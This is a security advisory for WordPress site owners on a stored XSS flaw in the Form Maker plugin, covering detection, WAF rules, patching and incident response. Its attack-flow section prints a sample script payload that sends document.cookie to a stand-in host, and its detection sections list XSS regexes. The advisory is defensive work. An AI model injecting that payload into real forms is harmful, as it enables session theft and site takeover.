Urgent Security Advisory — Unauthenticated Stored XSS in Form Maker by 10Web (≤ 1.15.35)

Author: Hong Kong Security Expert • Published: 2026-02-06 • Tags: WordPress, XSS, Form Maker, 10Web, CVE-2026-1058

Summary: A stored, unauthenticated Cross‑Site Scripting (XSS) vulnerability (CVE‑2026‑1058) affects Form Maker by 10Web plugin versions ≤ 1.15.35. The vendor released 1.15.36 to address the issue. This advisory provides detection, mitigation, and remediation steps — plus immediate virtual patching guidance you can apply via a WAF or equivalent edge filter.

Resumen ejecutivo

On 6 February 2026 a stored XSS vulnerability was disclosed in the Form Maker by 10Web WordPress plugin (CVE‑2026‑1058). Versions up to and including 1.15.35 are affected. The vendor released version 1.15.36 to address the flaw.

• Tipo de vulnerabilidad: Cross‑Site Scripting (XSS) Almacenado
• Affected versions: ≤ 1.15.35
• Fixed in: 1.15.36
• CVE: CVE‑2026‑1058
• CVSS base score (example): 7.1 (Medium/High depending on context)
• Attack vector: Unauthenticated, stored
• Impact: Session theft, privilege escalation (if payload executes in admin context), arbitrary JavaScript execution, unauthorized actions

Because the vulnerability is unauthenticated and involves stored content, it can be weaponised to affect administrators, content editors, or site visitors depending on rendering context. Treat any production or staging site using Form Maker as high priority for remediation.

Cómo funciona esta vulnerabilidad (visión técnica)

The plugin accepted and persisted form-submitted data (including hidden fields) without proper sanitisation/escaping before rendering it in admin or frontend views. When that stored content is displayed unescaped, a JavaScript payload executes in the viewer’s browser.

Flujo de ataque típico:

1. Attacker submits a form containing a hidden field value with a JavaScript payload (example shown escaped):

<script>new Image().src='https://attacker.example/steal?c='+document.cookie;</script>

2. The plugin stores the payload in the database alongside the submission.
3. When an administrator or other user opens the submissions list, preview, or any detail view that renders the stored hidden field value unescaped, the payload executes in the user’s browser context.
4. Consequences include session cookie theft, CSRF-style actions executed under admin sessions, persistent malicious content insertion, or pivoting to a full site compromise.

Because no authentication is required to submit the form, an attacker can inject payloads at scale and wait for legitimate viewing to trigger execution.

Escenarios de explotación realistas

• Ingeniería social: Multiple malicious submissions followed by a targeted phishing message to lure an admin to the submissions list.
• Automated mass attack: Botnets scan for sites with the plugin, enumerate public forms, and inject payloads into hidden fields en masse.
• Public posts: If submissions are displayed publicly (testimonials, reviews), any visitor could trigger the stored payload.

The gravest outcome is payload execution in an admin context — this can enable account takeover, creation of backdoors, or modifications to themes/plugins.

Indicadores de compromiso (IoCs) a buscar

Search your site and database for injected scripts or suspicious content. Start with these places:

• Database fields and plugin tables that store submissions
• wp_posts, wp_postmeta, wp_comments, wp_options for any stored HTML containing <script> tags
• Uploads directory (attackers sometimes combine XSS with file uploads)

Useful detection queries and commands

MySQL / SQL (backup before direct edits):

-- Find any content with <script
SELECT ID, post_title, post_date
FROM wp_posts
WHERE post_content LIKE '%<script%';

-- Search postmeta for script tag (common for plugins storing JSON)
SELECT post_id, meta_key, meta_value
FROM wp_postmeta
WHERE meta_value LIKE '%<script%';

WP-CLI quick scan:

wp search-replace '<script' '' --dry-run
wp db query "SELECT option_name FROM wp_options WHERE option_value LIKE '%<script%';"

Grep on server (Linux):

grep -R --line-number --exclude-dir=wp-content/uploads '<script' /var/www/html

Check logs for outbound connections or suspicious access:

grep 'attacker.example' /var/log/apache2/access.log

Also inspect admin sessions, recent logins, wp_users and wp_usermeta for unknown accounts, and any unexpected changes in scheduled tasks or file system.

Immediate mitigation — what to do right now (step‑by‑step)

The following steps are ordered for speed and low friction. Apply the fastest mitigations first while preparing for the long‑term fix.

1. Update plugin to 1.15.36 immediately. This is the definitive fix from the vendor.
2. If you cannot update right away, enable virtual patching / edge filtering. Use a Web Application Firewall (WAF) or edge filtering to block common exploit patterns targeting this vulnerability while you schedule the update.
3. Restrict access to submission views. Limit access to admin submission pages to trusted IPs (server config, .htaccess, or host controls). Temporarily disable public pages that render stored submissions if feasible.
4. Harden form endpoints. Add CAPTCHA, rate limits, and block obvious bad user agents or suspicious referrers on form POST endpoints.
5. Scan and clean the database. Search for <script>, onerror=, javascript:, data:text/html in stored data and neutralise or export for analysis. Do not delete blindly without review.
6. Reset sessions and rotate credentials. Force password resets for administrators, invalidate active sessions, and rotate API keys and secrets.
7. Monitor logs for exploit attempts. Watch for POSTs to form endpoints containing script markers or encoded payloads.
8. If you detect active exploitation, isolate the site. Put the site into maintenance mode and take it offline for investigation if compromise is suspected.

Sample WAF / virtual patching rules (apply immediately)

Below are example rules and detection logic you can implement in a WAF or edge filter. Test in a staging environment and tune to reduce false positives.

1. Block POSTs with hidden field values containing script or event handlers
   • Match if method == POST and request body contains <script, javascript:, onerror=, onload=, onmouseover=.
   • Restrict to known form submission endpoints where possible (e.g., admin-ajax handlers or plugin-specific endpoints).
2. Detect encoded payloads
   • Scan for URL-encoded sequences like %3Cscript%3E or base64-encoded script fragments within form fields.
3. Rate-limit repeated submissions
   • Block or challenge IPs that exceed a reasonable submission threshold per minute.
4. Example ModSecurity-style rule (illustrative — test first):

SecRule REQUEST_METHOD "POST" "chain,deny,log,status:403,msg:'Form Maker XSS protection - blocked suspicious payload'"
SecRule REQUEST_BODY "(?i)(<script|javascript:|onerror\s*=|onload\s*=|data:text/html)" "t:none"

Mitigaciones adicionales:

• Block public GET requests to admin UI that contain suspicious query parameters or encoded script patterns.
• Consider a strict Content-Security-Policy (CSP) to limit execution of injected scripts (defence-in-depth, not a replacement for the patch).

Ejemplo de encabezado CSP (ajuste a su entorno):

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

Developer guidance — how to fix code safely

If you maintain integrations or templates that render plugin-saved form data, harden all output paths:

1. Sanitise on input. Server-side validation: enforce types, length, and character sets. Reject or strip HTML where not expected.
2. Escape on output. Use appropriate escaping functions:
   • HTML body: use esc_html()
   • Attributes: use esc_attr()
   • URLs: use esc_url()
   • JavaScript contexts: use wp_json_encode() or proper JS escaping
3. Avoid storing untrusted HTML. If a field is plain text, store and render it as plain text only.
4. Use prepared statements. Uso $wpdb->prepare() or parameterised queries rather than concatenation.
5. Whitelist HTML where necessary. Uso wp_kses() with a narrow tag/attribute whitelist if limited HTML is required.
6. Review admin views. Ensure plugin admin pages escape output; patch any places where unescaped output is echoed.

Example defensive wrapper:

function safe_render_submission_value( $value ) {
    // Strip tags and decode entities
    $value = wp_kses( $value, array() );
    return esc_html( $value );
}

Forensic checklist if you suspect a compromise

If detection reveals possible exploitation, follow a standard incident response flow:

1. Contener: Put the site in maintenance mode; apply virtual patches and disable the offending plugin.
2. Preservar evidencia: Take a full backup/image of the site and database; export relevant logs.
3. Identifica el alcance: Search for webshells, unfamiliar PHP files, new admin users, modified core/plugin/theme files, and suspicious cron entries.
4. Erradicar: Remove malicious code and backdoors; replace modified files with trusted copies; clean affected database entries.
5. Recuperar: Update all software to latest versions; rotate credentials; reconnect services.
6. Lecciones aprendidas: Document root cause and controls; implement improvements (WAF, CSP, monitoring).

If you lack internal incident response expertise, engage qualified security professionals — the cost of a full cleanup is typically much higher than prompt remediation.

Recomendaciones de detección y monitoreo

• Ensure WAF and edge filter logs are retained and reviewed daily during initial response.
• Monitor web server logs for repeated POSTs to form endpoints and for encoded script markers.
• Enable admin activity and audit logging for account creation and plugin/theme changes.
• Use file integrity monitoring to detect new or modified PHP files under wp-content.
• Schedule periodic vulnerability scans and address findings promptly.

Why you should not wait to patch

• Unauthenticated stored XSS is cheap for attackers and easy to automate.
• Stored payloads persist and may affect many legitimate users over time.
• Execution in an admin context allows rapid pivot to site takeover.
• Automated scanners and bots weaponise known plugin vulnerabilities within hours or days of disclosure.

Delaying the update leaves your site exposed. If you cannot update immediately, apply virtual patching and access restrictions without delay.

Sample detection signatures (for security teams)

Use these regex patterns for hunting in logs or database dumps. Tune for noise in your environment.

• <script\b[^>]*>(.*?)</script>
• (?i)on\w+\s*=\s*["']?[^"'>]+["']? (event handlers)
• (?i)javascript: (javascript: URLs)
• (?i)data:text/html (data URLs)
• Encoded patterns: %3Cscript%3E, \\x3cscript\\x3e, eval\(, document\.cookie, new Image\(

Ejemplo de búsqueda:

SELECT * FROM wp_postmeta WHERE meta_value REGEXP '<script|javascript:|onerror|onload';

How WAF and virtual patching help — practical benefits

Deploying a WAF or equivalent edge filter provides several immediate benefits while you prepare or apply the vendor patch:

• Block exploit traffic that matches known XSS payload patterns.
• Rate-limit and challenge high-volume automated submissions.
• Detect and log attempted exploitation for forensic analysis.
• Provide temporary virtual patching while you update the plugin.

For organisations managing many sites, centralised rule application via a capable edge filter or WAF simplifies coordination of emergency mitigations.

Hardening checklist (actionable summary)

1. Update Form Maker to 1.15.36 (or remove the plugin until updated).
2. Enable WAF / virtual patching to block known exploit patterns.
3. Search database and filesystem for "<script" and suspicious payloads; clean if found.
4. Reset admin passwords and invalidate sessions.
5. Restrict access to admin UI and sensitive pages (IP whitelisting where practical).
6. Add CAPTCHA and rate limits to form endpoints.
7. Implement a CSP to reduce XSS impact.
8. Monitor logs and alert on suspicious POSTs and new admin users.
9. Use file integrity monitoring to spot unauthorised changes.
10. If compromised, follow the incident response checklist (contain, preserve, eradicate, recover, learn).

Example mitigation timeline (recommended)

• Within 1 hour: Enable WAF rule(s), apply rate limiting, and consider maintenance mode if exploitation is suspected.
• Within 4 hours: Update plugin to 1.15.36 or remove plugin; scan DB for obvious payloads.
• Within 24 hours: Rotate admin credentials, invalidate sessions, and search for deeper compromise.
• Within 72 hours: Restore from clean backup if required; re-enable site; continue monitoring.

A short note to developers maintaining integrations with Form Maker

Audit every output path that renders data from Form Maker. Stored XSS is nearly always the result of failing to escape on render. Even after the plugin is patched, integrations that render stored data without escaping remain vulnerable.

Always:

• Uso esc_html(), esc_attr(), esc_url() when printing data.
• Validate inputs strictly before saving.
• Use prepared statements and avoid storing unsanitised HTML unless explicitly required and properly whitelisted.

If you lack in-house capability to review code, engage experienced security auditors to perform a targeted XSS review.

Reflexiones finales

Unauthenticated, stored XSS vulnerabilities present a high operational risk for WordPress sites: they are easy to weaponise at scale and can be used to achieve administrative takeover. This issue in Form Maker by 10Web (CVE‑2026‑1058) should be treated urgently — update to 1.15.36 now or apply virtual patching and access restrictions while you remediate.

If you require assistance with writing WAF rules, scanning for indicators of compromise, or conducting a post‑remediation review, engage qualified security professionals promptly. Treat any discovery of suspicious scripts as a potential compromise and follow the containment and forensic steps described above.

— Experto en Seguridad de Hong Kong